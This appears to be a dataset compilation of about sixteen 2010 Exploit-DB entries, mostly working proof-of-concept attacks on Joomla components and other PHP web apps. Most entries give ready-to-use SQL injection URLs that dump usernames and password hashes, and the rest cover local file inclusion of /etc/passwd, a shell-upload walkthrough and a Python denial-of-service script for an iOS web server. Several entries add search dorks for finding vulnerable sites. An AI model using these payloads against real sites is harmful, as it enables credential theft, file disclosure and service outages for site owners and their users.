QLWD/code_shield huggingface dataset:
标题: Joomla! Component jVideoDirect - Blind SQL Injection EDB-ID: 11280 CVE: 2010-0803 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-28 漏洞利用脚本: [~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (jVideoDirect) BLIND SQL Injection Vulnerability 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TYPE: COMMERCIAL
[~]>> PRICE: N/A

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var v is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.1 RC3b but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://server/?v=[SQL]

[~]>> {RETURN TRUE::RETURN FALSE} ---> VIEW TIME RESPONSE ||| HIGH: TRUE ||| LOW: FALSE

[~]>> http://server/?v=NXRG9xz403238%27+AND%200=if(substring(@@version,1,1)=5,benchmark(9999999,md5(@@version)),0)%23
[~]>> http://server/?v=NXRG9xz403238%27+AND%200=if(substring(@@version,1,1)=4,benchmark(9999999,md5(@@version)),0)%23

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]... URL: https://www.exploit-db.com/exploits/11280
标题: Joomla! Component JE Quiz - 'eid' Blind SQL Injection EDB-ID: 11287 CVE: 2010-0796 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-29 漏洞利用脚本: [~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (JE Quiz component) BLIND SQL Injection Vulnerability 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TYPE: COMMERCIAL
[~]>> PRICE: $20.00

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var eid is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.b01 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=[SQL]&Itemid=163

[~]>> {RETURN TRUE::RETURN FALSE}

[~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=5,1,0)&Itemid=163
[~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=4,1,0)&Itemid=163

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]... URL: https://www.exploit-db.com/exploits/11287
标题: Joomla! Component com_dms 2.5.1 - SQL Injection EDB-ID: 11289 CVE: 2010-0800 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-30 漏洞利用脚本: /**************************************************************************

[~] Joomla Component com_dms Remote SQL injection vulnerability - (category_id)
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 28 January, 2010


**************************************************************************/

[ Software Information ]

[+] Vendor : http://joomdonation.com/
[+] Info : http://joomdonation.com/index.php?option=com_content&view=article&id=41&Itemid=40
[+] version : 2.5.1 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_dms"
[+] Type : commercial
===========================================================================

[ Vulnerable File ]

http://server/index.php?option=com_dms&task=view_category&category_id=[INDONESIANCODER]

[ Exploit ]

-666+union+all+select+666,666,666,666,666,666,666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,666,666,666,666,666+from+jos_users--

[ Demo ]

http://server/index.php?option=com_dms&task=view_category&category_id=-666+union+all+select+666,666,666,666,666,666,666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,666,666,666,666,666+from+jos_users--
===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] Bercinta Sekuat Tenaga !
[+] rm -rf 

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/11289
标题: Joomla! Component com_simplefaq - 'catid' Blind SQL Injection EDB-ID: 11294 CVE: 2010-0632 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-30 漏洞利用脚本: Joomla Component com_simplefaq (catid) Blind Sql Injection Vulnerability
=========================================================================

###########################################
.:. Author : AtT4CKxT3rR0r1ST
.:. Team : Sec Attack Team
.:. Email : F.Hack@w.cn
.:. Home : www.sec-attack.com/vb
.:. Script : Joomla Component com_simplefaq
.:. Script Download: http://www.parkviewconsultants.com/component/option,com_mosipn/page,free/
.:. Bug Type : Blind Sql Injection
.:. Dork : inurl:"com_simplefaq"
#############################################

===[ Exploit ]===

www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70[Blind Injection]&page=1#FAQ5

www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=5&page=1#FAQ5 >>>> True

www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=4&page=1#FAQ5 >>>> False


===[ Example ]===

http://server/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=5&page=1#FAQ5 >>>> True

http://server/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=4&page=1#FAQ5 >>>> False

#############################################

Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack URL: https://www.exploit-db.com/exploits/11294
标题: Joomla! Component CCNewsLetter - Local File Inclusion EDB-ID: 11282 CVE: 2010-0467 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-28 漏洞利用脚本: Joomla Component com_ccnewsletter Local File Inclusion
==========================================================

###########################################
.:. Author         : AtT4CKxT3rR0r1ST

.:. Email          : F.Hack@w.cn

.:. Home           : www.sec-attack.com/vb

.:. Script         : Joomla Component com_ccnewsletter

.:. Bug Type       : Local File Inclusion [LFI]

.:. Dork           : inurl:"com_ccnewsletter"

.:. Date           : 28/1/2010

#############################################

===[ Exploit ]===

http://server/index.php?option=com_ccnewsletter&controller=[LFI]

http://server/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00


#############################################

Greats T0: My Mind & All member Sec Attack URL: https://www.exploit-db.com/exploits/11282
标题: Joomla! Component JE Event Calendar - SQL Injection EDB-ID: 11292 CVE: 2010-0795 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-30 漏洞利用脚本: [~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (JE Event Calendar) SQL Injection Vulnerability
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var event_id is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.b0 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://server/index.php?template=system&option=com_jeeventcalendar&view=event&Itemid=155&event_id=[SQL]

[~]>> http://server/index.php?template=system&option=com_jeeventcalendar&view=event&Itemid=155&event_id=-1%22+UNION+ALL+SELECT+1,@@version,database(),username,password,6,7,8+FROM+jos_users%23

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]... URL: https://www.exploit-db.com/exploits/11292
标题: Novaboard 1.1.2 - SQL Injection EDB-ID: 11278 CVE: 2010-0608 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-28 漏洞利用脚本: ############################################################# 
# NovaBoard v1.1.2 SQL Injection Vulnerability 
  
# Plugin Home: http://www.novaboard.net/ 
  
# Author: Delibey 
  
# Site: www.1923turk.com 
 
############################################################## 
  
  
# Download   Script  : http://novaboard.googlecode.com/files/NovaBoard1.1.2.zip
                                    
  
   
# Exploit: index.php?page=search&topic=1&pf=1&search=xek&author_id=1&forums[1923Turk]=[SQL-inj] 
  
  
#  1)+union+select+1,2,3,4,concat_ws(0x0A,name,password,email),6,7,8,9+from+novaboard_members+--+
             
#  Dork  : "Powered by NovaBoard v1.1.2"           
  
# Demo: http://server/index.php?page=search&topic=1&pf=1&search=xek&author_id=1&forums[1923Turk]=1)+union+select+1,2,3,4,concat_ws(0x0A,name,password,email),6,7,8,9+from+novaboard_members+--+
  
   
############################################################## 
# Greetz: Manas58 - Baybora - Gamoscu - Tiamo - Psiko - Turco - infazci - X-TRO 
############################################################## URL: https://www.exploit-db.com/exploits/11278
标题: phpunity.newsmanager - Local File Inclusion EDB-ID: 11290 CVE: 2010-0799 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-30 漏洞利用脚本: #############################################################################################################
## phpunity.newsmanager - Local file inclusion  (id)                                                    ##
## Author : kaMtiEz (kamzcrew@yahoo.com)           ##
## Homepage : http://www.indonesiancoder.com                       ##
## Date : 28 januari, 2010                                          ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.perlunity.de/
[+] Download : http://www.perlunity.de/php/scripts/phpunity.newsmanager.shtml
[+] version : -
[+] Vulnerability : LFI
[+] Dork : syalalala
[+] LOCATION : INDONESIA - JOGJA
#############################################################################################################

[ Vulnerable File ]

http://server/[kaMtiEz]/misc/tell_a_friend/tell.php?id=[INDONESIANCODER]

[ EXPLOIT ]

../../../../../../../etc/passwd

[ DEMO ]

http://server/phpunity.newsmanager/phpunity-newsmanager/misc/tell_a_friend/tell.php?id=../../../../../../../etc/passwd


[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] to someone i dont know who u are .. but u are so hot ! :P~~
[+] rm -rf 

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/11290
标题: Joomla! Component CCNewsLetter - Directory Traversal EDB-ID: 11277 CVE: 2010-0467 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-28 漏洞利用脚本: [~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_ccnewsletter) Directory Traversal Vulnerability
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost
[~]>> (( -- Sorry for not including a single advisory with this Component --))

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var controller is vulnerable to Directory Traversal Vuln
[~]>> AFFECTED VERSIONS: Confirmed in 1.0.5 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Access to all PHP files in WebServer (Null Byte is filtered)

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://server/[JOOMLA_PATH]/index.php?option=com_ccnewsletter&view=ccnewsletter&Itemid=87&controller=[-DT-]

[~]>> [-DT-] -->  ;)

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]... URL: https://www.exploit-db.com/exploits/11277
标题: iOS Serversman 3.1.5 - HTTP Remote Denial of Service EDB-ID: 11273 CVE: 2010-0496 类型: DOS 平台: IOS 发布日期: 2010-01-27 漏洞利用脚本: #!/usr/bin/python
#
# Apple Iphone/Ipod - Serversman 3.1.5 HTTP Remote DoS exploit
# Found by: Steven Seeley (mr_me) seeleymagic [at] hotmail [dot] com
# Homepage: http://serversman.com/index_en.jsp
# Download: From the app store (Free - use your Itunes account)
# Tested on: Iphone 3G - firmware 3.1.2 (Darwin kernel)
# Greetz: corelanc0d3r, EdiStrosar, rick2600, ekse, MarkoT, sinn3r & Jacky from Corelan Team
# Special Greetz to TecR0c!
#

print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                              security@corelan.be |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] Apple Iphone/Ipod - Serversman 3.1.5 HTTP Remote DOS exploit"

import socket
import sys

def Usage():
    print ("Usage: ./serversman.py <serv_ip>\n")
    print ("Example: ./serversman.py 192.168.48.183\n")
if len(sys.argv) <> 2:
        Usage()
        sys.exit(1)
else:
    hostname = sys.argv[1]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 8080))
 print "[+] Connecting to the target.."
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    print "[+] Sending payload.. muhaha ph33r"
    sock.send("HEAD / HTTP/1.0\r\n\r\n")
    r=sock.recv(1024)
    sock.close()
    print "[+] HTTP Server is now DoSed!"
    sys.exit(0); URL: https://www.exploit-db.com/exploits/11273
标题: Joomla! Component com_mochigames - SQL Injection EDB-ID: 11243 CVE: 2010-0459 类型: WEBAPPS 平台: WINDOWS 发布日期: 2010-01-24 漏洞利用脚本: [~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var id is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 0.51 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?view=mochigames&id=[SQL]&option=com_mochigames&Itemid=80
[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?view=mochigames&id=99999%27+union+select+1,2,username,4,password,6,7,8,9,10,11,12,13,14,15,16,17+from+jos_users%23&option=com_mochigames&Itemid=80

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]... URL: https://www.exploit-db.com/exploits/11243
标题: Joomla! Component com_casino - SQL Injection EDB-ID: 11237 CVE: 2010-0461 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-23 漏洞利用脚本: [~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_casino) SQL Injection Vulnerabilities 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost
[~]>> PRE-REQUERIMENTS: Privileged user

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var id is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.0
[~]>> RISK: Low/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOFS OF CONCEPT:

[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_casino&task=category&id=[SQL]
[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_casino&task=player&id=[SQL]

[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_casino&task=category&id=-1%27+union+all+select+1,username,password,4,5+from+jos_users/*
[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_casino&task=player&id=-1%27+union+all+select+1,2,password,email,@@version,database(),user(),username+from+jos_users/*

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]... URL: https://www.exploit-db.com/exploits/11237
标题: Joomla! Component com_gameserver - SQL Injection EDB-ID: 11222 CVE: 2010-0456 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-22 漏洞利用脚本: # Exploit Title: Joomla (com_gameserver) SQL Injection Vulnerability
# Date: 2010-01-22
# Author: B-Hunt3|2
# Software Link: http://joomlacode.org/gf/project/gameserver/frs/
# Version: 1.2
# CVE : N/A

[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_gameserver) SQL Injection Vulnerability 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: Demo Site

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var "grp" is vulnerable to SQL code injection.
[~]>> AFFECTED VERSIONS: Confirmed in 1.2 but probably other versions also. 
[~]>> RISK: High/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://server/component/gameserver/?view=gameserver&grp=[SQL]
[~]>> http://server/component/gameserver/?view=gameserver&grp=-1'+union+all+select+1,concat(username,0x3A,password),3,4,5,6,7+from+jos_users%23

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]... URL: https://www.exploit-db.com/exploits/11222
标题: magic-portal 2.1 - SQL Injection EDB-ID: 11235 CVE: 2010-0457 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-23 漏洞利用脚本: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Exploit Title :magic-portal SQL injection Vulnerability
Author: alnjm33
Software Link:
Version:  2.1
Tested on: Version 2.1
My home : Sec-war.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
==========================================Dork==========================================
                        ( Powered by magic-portal Version 2.1 )
================================Exploit=============================================
http://server/home.php?id=-2/**/union/**/select/**/1,concat(username_admin,0x3a,password_admin),3,4/**/from/**/admin_log_cp--

=======================================================================================
Greetz to :PrEdAtOr -Sh0ot3R - xXx - Mu$L!m-h4ck3r - ahmadso - JaMbA - RoOt_EgY- jago-dz - XR57 all Sec-War.com members URL: https://www.exploit-db.com/exploits/11235
标题: Blog System 1.x - 'note' SQL Injection EDB-ID: 11216 CVE: 2010-0458 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-21 漏洞利用脚本: [#] Script : Blog System
[#] Version : 1.x
[#] Link : http://netartmedia.net/blogsystem/

[#] Dork : "powered by Blog System"
[#] Table : websiteadmin_admin_users
[#] Columns : id,username,password,type

[#] Exploit : /blog.php?user=[real-user]&note=-1549+union+all+select+1,2,3,concat_ws(0x3a,id,username,password,type),5,6,7,8,9+from+websiteadmin_admin_users--

[#] CP : /BO

[#] Regards : ('Dr.2' , 'd3hydr8' , 'jonathan59' , 'inkubus' , 'Tundergun' , 'VMw4r3' , 'TinKode' , 'darkc0de's members')

[#] Note : replace [real-user] with a user exists in the blog ,, otherwise it will not work. URL: https://www.exploit-db.com/exploits/11216
标题: Max's Image Uploader - Arbitrary File Upload EDB-ID: 11169 CVE: 2010-0390 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-17 漏洞利用脚本: ========================================================================================                  
| # Title    : Max's Image Uploader Shell Upload Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -(00213771818860)                                                                             
| # Web Site : www.iq-ty.com                                                                                                                            
| # Dork     : Powered by PHP F1 (Max's Image Uploader)                                         
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Shell Upload                                                                     
======================      Exploit By indoushka       =================================
# Exploit  : 
 
 1- http://127.0.0.1/maxImageUpload/ (To upload Evil )
 
 2- http://127.0.0.1/maxImageUpload/original/evil.php (To Find Evil)
 
================================   Dz-Ghost Team   ========================================
Greetz : ÔßÑÇ áÓßÇä æáÇíÉ ÓíÏí ÈáÚÈÇÓ 22 + äÇÓ ãÚÓßÑ + äÇÓ ÊíÇÑÊ + äÇÓ ÇáÌáÝÉ + äÇÓ ÇáãÓíáÉ
+ äÇÓ ÊáãÓÇä + äÇÓ äÏÑæãÉ +äÇÓ ãÛäíÉ + äÇÓ æÌÏÉ +äÇÓ ÃÛÇÏíÑ + äÇÓ ÝÇÓ æãßäÇÓ + äÇÓ æåÑÇä

Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com  
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)  
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com 
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com 
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com 
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11169